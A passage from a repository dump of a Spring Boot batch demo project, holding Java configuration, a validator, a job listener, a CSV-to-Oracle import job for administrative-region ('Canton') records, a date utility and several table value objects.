    "content": "package com.xncoding.trans.modules;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport org.springframework.batch.core.configuration.annotation.EnableBatchProcessing;\nimport org.springframework.batch.core.launch.support.SimpleJobLauncher;\nimport org.springframework.batch.core.repository.JobRepository;\nimport org.springframework.batch.core.repository.support.JobRepositoryFactoryBean;\nimport org.springframework.batch.support.DatabaseType;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;\nimport org.springframework.transaction.PlatformTransactionManager;\n\n/**\n * 这里是批处理公共配置类\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/5\n */\n@Configuration\n@EnableBatchProcessing\n@Order(3)\npublic class MyBatchConfig {\n\n    @Bean\n    public ThreadPoolTaskExecutor taskExecutor() {\n        ThreadPoolTaskExecutor taskExecutor = new ThreadPoolTaskExecutor();\n        taskExecutor.setCorePoolSize(5);\n        taskExecutor.setMaxPoolSize(10);\n        taskExecutor.setQueueCapacity(200);\n        return taskExecutor;\n    }\n\n    /**\n     * JobRepository，用来注册Job的容器\n     * jobRepositor的定义需要dataSource和transactionManager，Spring Boot已为我们自动配置了\n     * 这两个类，Spring可通过方法注入已有的Bean\n     *\n     * @param dataSource\n     * @param transactionManager\n     * @return\n     * @throws Exception\n     */\n    @Bean\n    public JobRepository jobRepository(DruidDataSource dataSource, PlatformTransactionManager transactionManager) throws Exception {\n        JobRepositoryFactoryBean jobRepositoryFactoryBean = new JobRepositoryFactoryBean();\n        jobRepositoryFactoryBean.setDataSource(dataSource);\n        jobRepositoryFactoryBean.setTransactionManager(transactionManager);\n        jobRepositoryFactoryBean.setDatabaseType(String.valueOf(DatabaseType.ORACLE));\n        jobRepositoryFactoryBean.setMaxVarCharLength(5000);\n        // 下面事务隔离级别的配置是针对Oracle的\n        jobRepositoryFactoryBean.setIsolationLevelForCreate(\"ISOLATION_READ_COMMITTED\");\n        jobRepositoryFactoryBean.afterPropertiesSet();\n        return jobRepositoryFactoryBean.getObject();\n    }\n\n    /**\n     * JobLauncher定义，用来启动Job的接口\n     *\n     * @param dataSource\n     * @param transactionManager\n     * @return\n     * @throws Exception\n     */\n    @Bean\n    public SimpleJobLauncher jobLauncher(ThreadPoolTaskExecutor taskExecutor, DruidDataSource dataSource,\n                                         PlatformTransactionManager transactionManager) throws Exception {\n        SimpleJobLauncher jobLauncher = new SimpleJobLauncher();\n        jobLauncher.setTaskExecutor(taskExecutor);\n        jobLauncher.setJobRepository(jobRepository(dataSource, transactionManager));\n        return jobLauncher;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/MyBeanValidator.java",
    "content": "package com.xncoding.trans.modules;\n\nimport org.springframework.batch.item.validator.ValidationException;\nimport org.springframework.batch.item.validator.Validator;\nimport org.springframework.beans.factory.InitializingBean;\n\nimport javax.validation.ConstraintViolation;\nimport javax.validation.Validation;\nimport javax.validation.ValidatorFactory;\nimport java.util.Set;\n\n/**\n * MyBeanValidator\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/3\n */\npublic class MyBeanValidator<T> implements Validator<T>, InitializingBean {\n    private javax.validation.Validator validator;\n\n    @Override\n    public void validate(T value) throws ValidationException {\n        /*\n         * 使用Validator的validate方法校验数据\n         */\n        Set<ConstraintViolation<T>> constraintViolations = validator.validate(value);\n        if (constraintViolations.size() > 0) {\n            StringBuilder message = new StringBuilder();\n            for (ConstraintViolation<T> constraintViolation : constraintViolations) {\n                message.append(constraintViolation.getMessage()).append(\"\\n\");\n            }\n            throw new ValidationException(message.toString());\n        }\n    }\n\n    /**\n     * 使用JSR-303的Validator来校验我们的数据，在此进行JSR-303的Validator的初始化\n     */\n    @Override\n    public void afterPropertiesSet() {\n        ValidatorFactory validatorFactory = Validation.buildDefaultValidatorFactory();\n        validator = validatorFactory.usingContext().getValidator();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/MyBeanWrapperFieldSetMapper.java",
    "content": "package com.xncoding.trans.modules;\n\nimport com.baomidou.mybatisplus.toolkit.StringUtils;\nimport com.xncoding.trans.modules.common.DateUtil;\nimport org.springframework.batch.item.file.mapping.BeanWrapperFieldSetMapper;\nimport org.springframework.validation.DataBinder;\n\nimport java.beans.PropertyEditorSupport;\nimport java.sql.Timestamp;\nimport java.time.LocalDate;\nimport java.time.format.DateTimeFormatter;\n\n/**\n * MyBeanWrapperFieldSetMapper\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/5\n */\npublic class MyBeanWrapperFieldSetMapper<T> extends BeanWrapperFieldSetMapper<T> {\n    @Override\n    protected void initBinder(DataBinder binder) {\n        binder.registerCustomEditor(Timestamp.class, new PropertyEditorSupport() {\n            @Override\n            public void setAsText(String text) throws IllegalArgumentException {\n                if (StringUtils.isNotEmpty(text)) {\n                    setValue(DateUtil.parseTimestamp(text));\n                } else {\n                    setValue(null);\n                }\n            }\n\n            @Override\n            public String getAsText() throws IllegalArgumentException {\n                Object date = getValue();\n                if (date != null) {\n                    return DateUtil.formatTimestamp((Timestamp) date);\n                } else {\n                    return \"\";\n                }\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/MyJobListener.java",
    "content": "package com.xncoding.trans.modules;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.batch.core.JobExecution;\nimport org.springframework.batch.core.JobExecutionListener;\n\n/**\n * MyJobListener\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/3\n */\npublic class MyJobListener implements JobExecutionListener {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n    private long startTime;\n    private long endTime;\n\n    @Override\n    public void beforeJob(JobExecution jobExecution) {\n        startTime = System.currentTimeMillis();\n        String jobName = jobExecution.getJobParameters().getString(\"input.job.name\");\n        logger.info(\"任务-{}处理开始\", jobName);\n    }\n\n    @Override\n    public void afterJob(JobExecution jobExecution) {\n        endTime = System.currentTimeMillis();\n        String jobName = jobExecution.getJobParameters().getString(\"input.job.name\");\n        logger.info(\"任务-{}处理结束，总耗时=\" + (endTime - startTime) + \"ms\", jobName);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/canton/Canton.java",
    "content": "package com.xncoding.trans.modules.canton;\n\n/**\n * Canton\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/5\n */\npublic class Canton {\n    private String id;\n    private String code;\n    private String name;\n    private String parentid;\n    private String financial;\n    private String contactman;\n    private String tel;\n    private String email;\n    private String cantonlev;\n    private String taxorgcode;\n    private String memo;\n    private String using;\n    private String usingdate;\n    private Integer level;\n    private String end;\n    private String qrcantonid;\n    private String declare;\n    private String declareisend;\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getCode() {\n        return code;\n    }\n\n    public void setCode(String code) {\n        this.code = code;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getParentid() {\n        return parentid;\n    }\n\n    public void setParentid(String parentid) {\n        this.parentid = parentid;\n    }\n\n    public String getFinancial() {\n        return financial;\n    }\n\n    public void setFinancial(String financial) {\n        this.financial = financial;\n    }\n\n    public String getContactman() {\n        return contactman;\n    }\n\n    public void setContactman(String contactman) {\n        this.contactman = contactman;\n    }\n\n    public String getTel() {\n        return tel;\n    }\n\n    public void setTel(String tel) {\n        this.tel = tel;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n\n    public String getCantonlev() {\n        return cantonlev;\n    }\n\n    public void setCantonlev(String cantonlev) {\n        this.cantonlev = cantonlev;\n    }\n\n    public String getTaxorgcode() {\n        return taxorgcode;\n    }\n\n    public void setTaxorgcode(String taxorgcode) {\n        this.taxorgcode = taxorgcode;\n    }\n\n    public String getMemo() {\n        return memo;\n    }\n\n    public void setMemo(String memo) {\n        this.memo = memo;\n    }\n\n    public String getUsing() {\n        return using;\n    }\n\n    public void setUsing(String using) {\n        this.using = using;\n    }\n\n    public String getUsingdate() {\n        return usingdate;\n    }\n\n    public void setUsingdate(String usingdate) {\n        this.usingdate = usingdate;\n    }\n\n    public Integer getLevel() {\n        return level;\n    }\n\n    public void setLevel(Integer level) {\n        this.level = level;\n    }\n\n    public String getEnd() {\n        return end;\n    }\n\n    public void setEnd(String end) {\n        this.end = end;\n    }\n\n    public String getQrcantonid() {\n        return qrcantonid;\n    }\n\n    public void setQrcantonid(String qrcantonid) {\n        this.qrcantonid = qrcantonid;\n    }\n\n    public String getDeclare() {\n        return declare;\n    }\n\n    public void setDeclare(String declare) {\n        this.declare = declare;\n    }\n\n    public String getDeclareisend() {\n        return declareisend;\n    }\n\n    public void setDeclareisend(String declareisend) {\n        this.declareisend = declareisend;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/canton/CantonConfig.java",
    "content": "package com.xncoding.trans.modules.canton;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.xncoding.trans.modules.MyBeanValidator;\nimport com.xncoding.trans.modules.MyJobListener;\nimport org.springframework.batch.core.Job;\nimport org.springframework.batch.core.Step;\nimport org.springframework.batch.core.configuration.annotation.JobBuilderFactory;\nimport org.springframework.batch.core.configuration.annotation.StepBuilderFactory;\nimport org.springframework.batch.core.configuration.annotation.StepScope;\nimport org.springframework.batch.core.launch.support.RunIdIncrementer;\nimport org.springframework.batch.item.ItemProcessor;\nimport org.springframework.batch.item.ItemReader;\nimport org.springframework.batch.item.ItemWriter;\nimport org.springframework.batch.item.ParseException;\nimport org.springframework.batch.item.database.BeanPropertyItemSqlParameterSourceProvider;\nimport org.springframework.batch.item.database.JdbcBatchItemWriter;\nimport org.springframework.batch.item.file.FlatFileItemReader;\nimport org.springframework.batch.item.file.mapping.BeanWrapperFieldSetMapper;\nimport org.springframework.batch.item.file.mapping.DefaultLineMapper;\nimport org.springframework.batch.item.file.transform.DelimitedLineTokenizer;\nimport org.springframework.batch.item.validator.ValidatingItemProcessor;\nimport org.springframework.batch.item.validator.ValidationException;\nimport org.springframework.batch.item.validator.Validator;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.io.FileSystemResource;\n\n/**\n * CsvBatchConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/3\n */\n@Configuration\npublic class CantonConfig {\n    /**\n     * ItemReader定义,用来读取数据\n     * 1，使用FlatFileItemReader读取文件\n     * 2，使用FlatFileItemReader的setResource方法设置csv文件的路径\n     * 3，对此对cvs文件的数据和领域模型类做对应映射\n     *\n     * @return FlatFileItemReader\n     */\n    @Bean(name = \"cantonReader\")\n    @StepScope\n    public FlatFileItemReader<Canton> reader(@Value(\"#{jobParameters['input.file.name']}\") String pathToFile) {\n        FlatFileItemReader<Canton> reader = new FlatFileItemReader<>();\n//        reader.setResource(new ClassPathResource(pathToFile));\n        reader.setResource(new FileSystemResource(pathToFile));\n        reader.setLineMapper(new DefaultLineMapper<Canton>() {\n            {\n                setLineTokenizer(new DelimitedLineTokenizer(\",\") {\n                    {\n                        setNames(new String[]{\n                                \"id\", \"code\", \"name\", \"parentid\", \"financial\", \"contactman\", \"tel\", \"email\",\n                                \"cantonlev\", \"taxorgcode\", \"memo\", \"using\", \"usingdate\", \"level\", \"end\",\n                                \"qrcantonid\", \"declare\", \"declareisend\"\n                        });\n                    }\n                });\n                setFieldSetMapper(new BeanWrapperFieldSetMapper<Canton>() {{\n                    setTargetType(Canton.class);\n                }});\n            }\n        });\n        // 如果包含header，需要忽略掉\n        reader.setLinesToSkip(1);\n        return reader;\n    }\n\n    /**\n     * ItemProcessor定义，用来处理数据\n     *\n     * @return\n     */\n    @Bean(name = \"cantonProcessor\")\n    public ItemProcessor<Canton, Canton> processor() {\n        //使用我们自定义的ItemProcessor的实现CsvItemProcessor\n        ValidatingItemProcessor<Canton> processor = new ValidatingItemProcessor<Canton>() {\n            @Override\n            public Canton process(Canton item) throws ValidationException {\n                /*\n                 * 需要执行super.process(item)才会调用自定义校验器\n                 */\n                super.process(item);\n                /*\n                 * 对数据进行简单的处理和转换 todo\n                 */\n                return item;\n            }\n        };\n        //为processor指定校验器为CsvBeanValidator()\n        processor.setValidator(csvBeanValidator());\n        return processor;\n    }\n\n    /**\n     * ItemWriter定义，用来输出数据\n     * spring能让容器中已有的Bean以参数的形式注入，Spring Boot已经为我们定义了dataSource\n     *\n     * @param dataSource\n     * @return\n     */\n    @Bean(name = \"cantonWriter\")\n    public ItemWriter<Canton> writer(DruidDataSource dataSource) {\n        JdbcBatchItemWriter<Canton> writer = new JdbcBatchItemWriter<>();\n        //我们使用JDBC批处理的JdbcBatchItemWriter来写数据到数据库\n        writer.setItemSqlParameterSourceProvider(new BeanPropertyItemSqlParameterSourceProvider<>());\n\n        String sql = \"insert into nt_bsc_Canton \" + \" (f_id,f_code,f_name,f_parentid,f_financial,f_contactman,f_tel,f_email,f_cantonlev,f_taxorgcode,f_memo,f_using,f_usingdate,f_level,f_end,f_qrcantonid,f_declare,f_declareisend) \"\n                + \" values(:id,:code,:name,:parentid,:financial,:contactman,:tel,:email,:cantonlev,:taxorgcode,:memo,:using,:usingdate,:level,:end,:qrcantonid,:declare,:declareisend)\";\n        //在此设置要执行批处理的SQL语句\n        writer.setSql(sql);\n        writer.setDataSource(dataSource);\n        return writer;\n    }\n\n    /**\n     * Job定义，我们要实际执行的任务，包含一个或多个Step\n     *\n     * @param jobBuilderFactory\n     * @param s1\n     * @return\n     */\n    @Bean(name = \"cantonJob\")\n    public Job cantonJob(JobBuilderFactory jobBuilderFactory, @Qualifier(\"cantonStep1\") Step s1) {\n        return jobBuilderFactory.get(\"cantonJob\")\n                .incrementer(new RunIdIncrementer())\n                .flow(s1)//为Job指定Step\n                .end()\n                .listener(new MyJobListener())//绑定监听器csvJobListener\n                .build();\n    }\n\n    /**\n     * step步骤，包含ItemReader，ItemProcessor和ItemWriter\n     *\n     * @param stepBuilderFactory\n     * @param reader\n     * @param writer\n     * @param processor\n     * @return\n     */\n    @Bean(name = \"cantonStep1\")\n    public Step cantonStep1(StepBuilderFactory stepBuilderFactory,\n                           @Qualifier(\"cantonReader\") ItemReader<Canton> reader,\n                           @Qualifier(\"cantonWriter\") ItemWriter<Canton> writer,\n                           @Qualifier(\"cantonProcessor\") ItemProcessor<Canton, Canton> processor) {\n        return stepBuilderFactory\n                .get(\"cantonStep1\")\n                .<Canton, Canton>chunk(5000)//批处理每次提交5000条数据\n                .reader(reader)//给step绑定reader\n                .processor(processor)//给step绑定processor\n                .writer(writer)//给step绑定writer\n                .faultTolerant()\n                .retry(Exception.class)   // 重试\n                .noRetry(ParseException.class)\n                .retryLimit(1)           //每条记录重试一次\n                .skip(Exception.class)\n                .skipLimit(200)         //一共允许跳过200次异常\n//                .taskExecutor(new SimpleAsyncTaskExecutor()) //设置每个Job通过并发方式执行，一般来讲一个Job就让它串行完成的好\n//                .throttleLimit(10)        //并发任务数为 10,默认为4\n                .build();\n    }\n\n    @Bean\n    public Validator<Canton> csvBeanValidator() {\n        return new MyBeanValidator<>();\n    }\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/common/DateUtil.java",
    "content": "package com.xncoding.trans.modules.common;\n\nimport java.sql.Timestamp;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.Locale;\n\n/**\n * DateUtil\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/5\n */\npublic class DateUtil {\n    private static final SimpleDateFormat sdf = new SimpleDateFormat(\"dd-M月-y hh.mm.ss.S a\", Locale.CHINA);\n    private static final SimpleDateFormat sdf2 = new SimpleDateFormat(\"dd-M月 -y hh.mm.ss.S a\", Locale.CHINA);\n\n    public static synchronized Date parseDatetime(String dateStr) {\n        try {\n            return sdf.parse(dateStr);\n        } catch (ParseException e) {\n            return new Date();\n        }\n    }\n\n    public static synchronized Timestamp parseTimestamp(String dateStr) {\n        try {\n            return new Timestamp(sdf.parse(dateStr).getTime());\n        } catch (ParseException e) {\n            try {\n                return new Timestamp(sdf2.parse(dateStr).getTime());\n            } catch (ParseException ee) {\n                return new Timestamp(System.currentTimeMillis());\n            }\n        }\n    }\n\n    public static synchronized String formatTimestamp(Timestamp date) {\n        return sdf.format(date);\n    }\n\n    public static void main(String[] args) {\n        Timestamp t = parseTimestamp(\"08-12月-17 05.38.07.859000 下午\");\n        System.out.println(t);\n        System.out.println(formatTimestamp(t));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/common/anno/TableName.java",
    "content": "package com.xncoding.trans.modules.common.anno;\n\nimport java.lang.annotation.*;\n\n/**\n * 表名注解\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/6\n */\n@Retention(RetentionPolicy.RUNTIME)\n@Target(ElementType.TYPE)\n@Documented\npublic @interface TableName {\n    /**\n     * 表名\n     */\n    String value();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/common/vo/BscCanton.java",
    "content": "package com.xncoding.trans.modules.common.vo;\n\nimport com.xncoding.trans.modules.common.anno.TableName;\n\n/**\n * BscCanton\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/10\n */\n@TableName(\"NT_BSC_CANTON\")\npublic class BscCanton {\n    private String F_ID;\n    private String F_CODE;\n    private String F_NAME;\n    private String F_PARENTID;\n    private String F_FINANCIAL;\n    private String F_CONTACTMAN;\n    private String F_TEL;\n    private String F_EMAIL;\n    private String F_CANTONLEV;\n    private String F_TAXORGCODE;\n    private String F_MEMO;\n    private String F_USING;\n    private String F_USINGDATE;\n    private Integer F_LEVEL;\n    private String F_END;\n    private String F_QRCANTONID;\n    private String F_DECLARE;\n    private String F_DECLAREISEND;\n\n    public String getF_ID() {\n        return F_ID;\n    }\n\n    public void setF_ID(String f_ID) {\n        F_ID = f_ID;\n    }\n\n    public String getF_CODE() {\n        return F_CODE;\n    }\n\n    public void setF_CODE(String f_CODE) {\n        F_CODE = f_CODE;\n    }\n\n    public String getF_NAME() {\n        return F_NAME;\n    }\n\n    public void setF_NAME(String f_NAME) {\n        F_NAME = f_NAME;\n    }\n\n    public String getF_PARENTID() {\n        return F_PARENTID;\n    }\n\n    public void setF_PARENTID(String f_PARENTID) {\n        F_PARENTID = f_PARENTID;\n    }\n\n    public String getF_FINANCIAL() {\n        return F_FINANCIAL;\n    }\n\n    public void setF_FINANCIAL(String f_FINANCIAL) {\n        F_FINANCIAL = f_FINANCIAL;\n    }\n\n    public String getF_CONTACTMAN() {\n        return F_CONTACTMAN;\n    }\n\n    public void setF_CONTACTMAN(String f_CONTACTMAN) {\n        F_CONTACTMAN = f_CONTACTMAN;\n    }\n\n    public String getF_TEL() {\n        return F_TEL;\n    }\n\n    public void setF_TEL(String f_TEL) {\n        F_TEL = f_TEL;\n    }\n\n    public String getF_EMAIL() {\n        return F_EMAIL;\n    }\n\n    public void setF_EMAIL(String f_EMAIL) {\n        F_EMAIL = f_EMAIL;\n    }\n\n    public String getF_CANTONLEV() {\n        return F_CANTONLEV;\n    }\n\n    public void setF_CANTONLEV(String f_CANTONLEV) {\n        F_CANTONLEV = f_CANTONLEV;\n    }\n\n    public String getF_TAXORGCODE() {\n        return F_TAXORGCODE;\n    }\n\n    public void setF_TAXORGCODE(String f_TAXORGCODE) {\n        F_TAXORGCODE = f_TAXORGCODE;\n    }\n\n    public String getF_MEMO() {\n        return F_MEMO;\n    }\n\n    public void setF_MEMO(String f_MEMO) {\n        F_MEMO = f_MEMO;\n    }\n\n    public String getF_USING() {\n        return F_USING;\n    }\n\n    public void setF_USING(String f_USING) {\n        F_USING = f_USING;\n    }\n\n    public String getF_USINGDATE() {\n        return F_USINGDATE;\n    }\n\n    public void setF_USINGDATE(String f_USINGDATE) {\n        F_USINGDATE = f_USINGDATE;\n    }\n\n    public Integer getF_LEVEL() {\n        return F_LEVEL;\n    }\n\n    public void setF_LEVEL(Integer f_LEVEL) {\n        F_LEVEL = f_LEVEL;\n    }\n\n    public String getF_END() {\n        return F_END;\n    }\n\n    public void setF_END(String f_END) {\n        F_END = f_END;\n    }\n\n    public String getF_QRCANTONID() {\n        return F_QRCANTONID;\n    }\n\n    public void setF_QRCANTONID(String f_QRCANTONID) {\n        F_QRCANTONID = f_QRCANTONID;\n    }\n\n    public String getF_DECLARE() {\n        return F_DECLARE;\n    }\n\n    public void setF_DECLARE(String f_DECLARE) {\n        F_DECLARE = f_DECLARE;\n    }\n\n    public String getF_DECLAREISEND() {\n        return F_DECLAREISEND;\n    }\n\n    public void setF_DECLAREISEND(String f_DECLAREISEND) {\n        F_DECLAREISEND = f_DECLAREISEND;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/common/vo/BscExeOffice.java",
    "content": "package com.xncoding.trans.modules.common.vo;\n\nimport com.xncoding.trans.modules.common.anno.TableName;\nimport org.springframework.format.annotation.DateTimeFormat;\n\nimport java.sql.Timestamp;\n\n/**\n * BscExeOffice\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/5\n */\n@TableName(\"NT_BSC_EXEOFFICE\")\npublic class BscExeOffice {\n    private String F_ID;\n    private String F_CANTONID;\n    private String F_CODE;\n    private String F_NAME;\n    private String F_MEMCODE;\n    private String F_SUPDEPTID;\n    private String F_COMDEPTID;\n    private String F_CONTACTMAN;\n    private String F_TEL;\n    private String F_MOBIL;\n    private String F_EMAIL;\n    private String F_BGOFFICEID;\n    private String F_INFOMOBIL;\n    private String F_INFOMAN;\n    private String F_LOGPASS;\n    private String F_STARTDATE;\n    private String F_STOPDATE;\n    private String F_STATUS;\n    private String F_MEMO;\n    private String F_AUDITER;\n    private String F_AUDITTIME;\n    private String F_ISAUDIT;\n    private Timestamp F_EDITTIME;\n    private Integer F_PLATFORM_ID;\n    private String F_ISPRINTBILL;\n\n    public String getF_ID() {\n        return F_ID;\n    }\n\n    public void setF_ID(String f_ID) {\n        F_ID = f_ID;\n    }\n\n    public String getF_CANTONID() {\n        return F_CANTONID;\n    }\n\n    public void setF_CANTONID(String f_CANTONID) {\n        F_CANTONID = f_CANTONID;\n    }\n\n    public String getF_CODE() {\n        return F_CODE;\n    }\n\n    public void setF_CODE(String f_CODE) {\n        F_CODE = f_CODE;\n    }\n\n    public String getF_NAME() {\n        return F_NAME;\n    }\n\n    public void setF_NAME(String f_NAME) {\n        F_NAME = f_NAME;\n    }\n\n    public String getF_MEMCODE() {\n        return F_MEMCODE;\n    }\n\n    public void setF_MEMCODE(String f_MEMCODE) {\n        F_MEMCODE = f_MEMCODE;\n    }\n\n    public String getF_SUPDEPTID() {\n        return F_SUPDEPTID;\n    }\n\n    public void setF_SUPDEPTID(String f_SUPDEPTID) {\n        F_SUPDEPTID = f_SUPDEPTID;\n    }\n\n    public String getF_COMDEPTID() {\n        return F_COMDEPTID;\n    }\n\n    public void setF_COMDEPTID(String f_COMDEPTID) {\n        F_COMDEPTID = f_COMDEPTID;\n    }\n\n    public String getF_CONTACTMAN() {\n        return F_CONTACTMAN;\n    }\n\n    public void setF_CONTACTMAN(String f_CONTACTMAN) {\n        F_CONTACTMAN = f_CONTACTMAN;\n    }\n\n    public String getF_TEL() {\n        return F_TEL;\n    }\n\n    public void setF_TEL(String f_TEL) {\n        F_TEL = f_TEL;\n    }\n\n    public String getF_MOBIL() {\n        return F_MOBIL;\n    }\n\n    public void setF_MOBIL(String f_MOBIL) {\n        F_MOBIL = f_MOBIL;\n    }\n\n    public String getF_EMAIL() {\n        return F_EMAIL;\n    }\n\n    public void setF_EMAIL(String f_EMAIL) {\n        F_EMAIL = f_EMAIL;\n    }\n\n    public String getF_BGOFFICEID() {\n        return F_BGOFFICEID;\n    }\n\n    public void setF_BGOFFICEID(String f_BGOFFICEID) {\n        F_BGOFFICEID = f_BGOFFICEID;\n    }\n\n    public String getF_INFOMOBIL() {\n        return F_INFOMOBIL;\n    }\n\n    public void setF_INFOMOBIL(String f_INFOMOBIL) {\n        F_INFOMOBIL = f_INFOMOBIL;\n    }\n\n    public String getF_INFOMAN() {\n        return F_INFOMAN;\n    }\n\n    public void setF_INFOMAN(String f_INFOMAN) {\n        F_INFOMAN = f_INFOMAN;\n    }\n\n    public String getF_LOGPASS() {\n        return F_LOGPASS;\n    }\n\n    public void setF_LOGPASS(String f_LOGPASS) {\n        F_LOGPASS = f_LOGPASS;\n    }\n\n    public String getF_STARTDATE() {\n        return F_STARTDATE;\n    }\n\n    public void setF_STARTDATE(String f_STARTDATE) {\n        F_STARTDATE = f_STARTDATE;\n    }\n\n    public String getF_STOPDATE() {\n        return F_STOPDATE;\n    }\n\n    public void setF_STOPDATE(String f_STOPDATE) {\n        F_STOPDATE = f_STOPDATE;\n    }\n\n    public String getF_STATUS() {\n        return F_STATUS;\n    }\n\n    public void setF_STATUS(String f_STATUS) {\n        F_STATUS = f_STATUS;\n    }\n\n    public String getF_MEMO() {\n        return F_MEMO;\n    }\n\n    public void setF_MEMO(String f_MEMO) {\n        F_MEMO = f_MEMO;\n    }\n\n    public String getF_AUDITER() {\n        return F_AUDITER;\n    }\n\n    public void setF_AUDITER(String f_AUDITER) {\n        F_AUDITER = f_AUDITER;\n    }\n\n    public String getF_AUDITTIME() {\n        return F_AUDITTIME;\n    }\n\n    public void setF_AUDITTIME(String f_AUDITTIME) {\n        F_AUDITTIME = f_AUDITTIME;\n    }\n\n    public String getF_ISAUDIT() {\n        return F_ISAUDIT;\n    }\n\n    public void setF_ISAUDIT(String f_ISAUDIT) {\n        F_ISAUDIT = f_ISAUDIT;\n    }\n\n    public Timestamp getF_EDITTIME() {\n        return F_EDITTIME;\n    }\n\n    public void setF_EDITTIME(Timestamp f_EDITTIME) {\n        F_EDITTIME = f_EDITTIME;\n    }\n\n    public Integer getF_PLATFORM_ID() {\n        return F_PLATFORM_ID;\n    }\n\n    public void setF_PLATFORM_ID(Integer f_PLATFORM_ID) {\n        F_PLATFORM_ID = f_PLATFORM_ID;\n    }\n\n    public String getF_ISPRINTBILL() {\n        return F_ISPRINTBILL;\n    }\n\n    public void setF_ISPRINTBILL(String f_ISPRINTBILL) {\n        F_ISPRINTBILL = f_ISPRINTBILL;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/common/vo/BscOfficeExeItem.java",
    "content": "package com.xncoding.trans.modules.common.vo;\n\nimport com.xncoding.trans.modules.common.anno.TableName;\n\n/**\n * BscOfficeExeItem\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/6\n */\n@TableName(\"NT_BSC_OFFICEEXEITEM\")\npublic class BscOfficeExeItem {\n    private String F_ID;\n    private String F_CANTONID;\n    private String F_OFFICEID;\n    private String F_TOLLID;\n    private String F_TOLLCODE;\n    private String F_START;\n    private String F_END;\n    private String F_STATUS;\n    private String F_VERSION;\n\n    public String getF_ID() {\n        return F_ID;\n    }\n\n    public void setF_ID(String f_ID) {\n        F_ID = f_ID;\n    }\n\n    public String getF_CANTONID() {\n        return F_CANTONID;\n    }\n\n    public void setF_CANTONID(String f_CANTONID) {\n        F_CANTONID = f_CANTONID;\n    }\n\n    public String getF_OFFICEID() {\n        return F_OFFICEID;\n    }\n\n    public void setF_OFFICEID(String f_OFFICEID) {\n        F_OFFICEID = f_OFFICEID;\n    }\n\n    public String getF_TOLLID() {\n        return F_TOLLID;\n    }\n\n    public void setF_TOLLID(String f_TOLLID) {\n        F_TOLLID = f_TOLLID;\n    }\n\n    public String getF_TOLLCODE() {\n        return F_TOLLCODE;\n    }\n\n    public void setF_TOLLCODE(String f_TOLLCODE) {\n        F_TOLLCODE = f_TOLLCODE;\n    }\n\n    public String getF_START() {\n        return F_START;\n    }\n\n    public void setF_START(String f_START) {\n        F_START = f_START;\n    }\n\n    public String getF_END() {\n        return F_END;\n    }\n\n    public void setF_END(String f_END) {\n        F_END = f_END;\n    }\n\n    public String getF_STATUS() {\n        return F_STATUS;\n    }\n\n    public void setF_STATUS(String f_STATUS) {\n        F_STATUS = f_STATUS;\n    }\n\n    public String getF_VERSION() {\n        return F_VERSION;\n    }\n\n    public void setF_VERSION(String f_VERSION) {\n        F_VERSION = f_VERSION;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/common/vo/BscTollItem.java",
